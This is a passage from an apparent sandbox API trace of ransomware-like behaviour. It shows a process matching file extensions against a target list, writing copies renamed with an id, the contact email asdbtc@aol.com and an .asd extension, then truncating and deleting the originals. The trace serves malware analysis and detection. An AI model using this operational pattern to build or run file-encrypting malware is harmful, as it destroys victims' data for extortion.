Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0054.099] lstrlenW (lpString=".doc") returned 4 [0054.099] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.099] lstrlenW (lpString=".docx") returned 5 [0054.099] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.099] lstrlenW (lpString=".pdf") returned 4 [0054.099] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.099] lstrlenW (lpString=".xls") returned 4 [0054.099] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.099] lstrlenW (lpString=".xlsx") returned 5 [0054.099] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.099] lstrlenW (lpString=".ppt") returned 4 [0054.099] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0054.099] lstrlenW (lpString=".zip") returned 4 [0054.099] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.100] lstrlenW (lpString=".rar") returned 4 [0054.100] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.100] lstrlenW (lpString=".bz2") returned 4 [0054.100] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.100] lstrlenW (lpString=".7z") returned 3 [0054.100] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0054.100] lstrlenW (lpString=".dbf") returned 4 [0054.100] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0054.100] lstrlenW (lpString=".1cd") returned 4 [0054.100] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0054.100] lstrlenW (lpString=".jpg") returned 4 [0054.100] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0054.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0054.100] lstrlenW (lpString=".doc") returned 4 [0054.100] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.100] lstrlenW (lpString=".docx") returned 5 [0054.100] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.100] lstrlenW (lpString=".pdf") returned 4 [0054.100] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.100] lstrlenW (lpString=".xls") returned 4 [0054.100] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.100] lstrlenW (lpString=".xlsx") returned 5 [0054.100] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.100] lstrlenW (lpString=".ppt") returned 4 [0054.100] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0054.100] lstrlenW (lpString=".zip") returned 4 [0054.100] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.101] lstrlenW (lpString=".rar") returned 4 [0054.101] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.101] lstrlenW (lpString=".bz2") returned 4 [0054.101] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.101] lstrlenW (lpString=".7z") returned 3 [0054.101] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0054.101] lstrlenW (lpString=".dbf") returned 4 [0054.101] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0054.101] lstrlenW (lpString=".1cd") returned 4 [0054.101] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0054.101] lstrlenW (lpString=".jpg") returned 4 [0054.101] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.101] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0054.101] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0054.102] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1347) returned 1 [0054.102] CloseHandle (hObject=0x1fc) returned 1 [0054.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20 [0054.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0054.102] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.102] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0054.104] GetLastError () returned 0x0 [0054.104] ReadFile (in: hFile=0x1fc, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x543, lpOverlapped=0x0) returned 1 [0054.105] WriteFile (in: hFile=0x1a8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x550, lpOverlapped=0x0) returned 1 [0054.106] ReadFile (in: hFile=0x1fc, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.106] WriteFile (in: hFile=0x1a8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.107] SetEndOfFile (hFile=0x1a8) returned 1 [0054.107] CloseHandle (hObject=0x1a8) returned 1 [0054.107] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.107] SetEndOfFile (hFile=0x1fc) returned 1 [0054.108] CloseHandle (hObject=0x1fc) returned 1 [0054.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.108] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 1 [0054.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0054.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0054.219] lstrlenW (lpString=".doc") returned 4 [0054.228] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.233] lstrlenW (lpString=".docx") returned 5 [0054.233] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.233] lstrlenW (lpString=".pdf") returned 4 [0054.233] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.233] lstrlenW (lpString=".xls") returned 4 [0054.233] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.233] lstrlenW (lpString=".xlsx") returned 5 [0054.233] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.233] lstrlenW (lpString=".ppt") returned 4 [0054.233] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0054.234] lstrlenW (lpString=".zip") returned 4 [0054.234] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.234] lstrlenW (lpString=".rar") returned 4 [0054.234] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.234] lstrlenW (lpString=".bz2") returned 4 [0054.234] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.234] lstrlenW (lpString=".7z") returned 3 [0054.234] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0054.234] lstrlenW (lpString=".dbf") returned 4 [0054.234] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0054.234] lstrlenW (lpString=".1cd") returned 4 [0054.234] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0054.234] lstrlenW (lpString=".jpg") returned 4 [0054.234] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0054.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0054.234] lstrlenW (lpString=".doc") returned 4 [0054.234] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.234] lstrlenW (lpString=".docx") returned 5 [0054.234] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.234] lstrlenW (lpString=".pdf") returned 4 [0054.234] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.234] lstrlenW (lpString=".xls") returned 4 [0054.234] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.234] lstrlenW (lpString=".xlsx") returned 5 [0054.234] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.234] lstrlenW (lpString=".ppt") returned 4 [0054.234] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0054.234] lstrlenW (lpString=".zip") returned 4 [0054.235] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.235] lstrlenW (lpString=".rar") returned 4 [0054.235] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.235] lstrlenW (lpString=".bz2") returned 4 [0054.235] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.235] lstrlenW (lpString=".7z") returned 3 [0054.235] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0054.235] lstrlenW (lpString=".dbf") returned 4 [0054.235] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0054.235] lstrlenW (lpString=".1cd") returned 4 [0054.235] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0054.235] lstrlenW (lpString=".jpg") returned 4 [0054.235] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.235] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0054.235] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.236] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=5120) returned 1 [0054.236] CloseHandle (hObject=0x1f4) returned 1 [0054.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 0x20 [0054.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.236] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.236] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.236] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.236] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0054.349] GetLastError () returned 0x0 [0054.349] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x1400, lpOverlapped=0x0) returned 1 [0054.361] WriteFile (in: hFile=0x1a8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x1410, lpOverlapped=0x0) returned 1 [0054.362] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.362] WriteFile (in: hFile=0x1a8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.362] SetEndOfFile (hFile=0x1a8) returned 1 [0054.362] CloseHandle (hObject=0x1a8) returned 1 [0054.362] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.362] SetEndOfFile (hFile=0x1f4) returned 1 [0054.363] CloseHandle (hObject=0x1f4) returned 1 [0054.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.364] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 1 [0054.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0054.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0054.364] lstrlenW (lpString=".doc") returned 4 [0054.364] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.364] lstrlenW (lpString=".docx") returned 5 [0054.364] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.364] lstrlenW (lpString=".pdf") returned 4 [0054.364] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.364] lstrlenW (lpString=".xls") returned 4 [0054.364] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.364] lstrlenW (lpString=".xlsx") returned 5 [0054.364] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.364] lstrlenW (lpString=".ppt") returned 4 [0054.364] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0054.364] lstrlenW (lpString=".zip") returned 4 [0054.364] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.365] lstrlenW (lpString=".rar") returned 4 [0054.365] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.365] lstrlenW (lpString=".bz2") returned 4 [0054.365] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.365] lstrlenW (lpString=".7z") returned 3 [0054.365] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0054.365] lstrlenW (lpString=".dbf") returned 4 [0054.365] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0054.365] lstrlenW (lpString=".1cd") returned 4 [0054.365] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0054.365] lstrlenW (lpString=".jpg") returned 4 [0054.365] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0054.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0054.365] lstrlenW (lpString=".doc") returned 4 [0054.365] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.365] lstrlenW (lpString=".docx") returned 5 [0054.365] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.365] lstrlenW (lpString=".pdf") returned 4 [0054.365] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.365] lstrlenW (lpString=".xls") returned 4 [0054.365] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.365] lstrlenW (lpString=".xlsx") returned 5 [0054.365] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.365] lstrlenW (lpString=".ppt") returned 4 [0054.365] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0054.366] lstrlenW (lpString=".zip") returned 4 [0054.366] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.366] lstrlenW (lpString=".rar") returned 4 [0054.366] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.366] lstrlenW (lpString=".bz2") returned 4 [0054.366] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.366] lstrlenW (lpString=".7z") returned 3 [0054.366] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0054.366] lstrlenW (lpString=".dbf") returned 4 [0054.366] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0054.366] lstrlenW (lpString=".1cd") returned 4 [0054.366] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0054.366] lstrlenW (lpString=".jpg") returned 4 [0054.366] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.366] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0054.366] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.367] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1232) returned 1 [0054.367] CloseHandle (hObject=0x1f4) returned 1 [0054.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20 [0054.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.367] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.367] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0054.369] GetLastError () returned 0x0 [0054.369] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x4d0, lpOverlapped=0x0) returned 1 [0054.371] WriteFile (in: hFile=0x1a8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x4e0, lpOverlapped=0x0) returned 1 [0054.373] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.373] WriteFile (in: hFile=0x1a8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.373] SetEndOfFile (hFile=0x1a8) returned 1 [0054.373] CloseHandle (hObject=0x1a8) returned 1 [0054.373] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.373] SetEndOfFile (hFile=0x1f4) returned 1 [0054.374] CloseHandle (hObject=0x1f4) returned 1 [0054.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.375] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 1 [0054.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 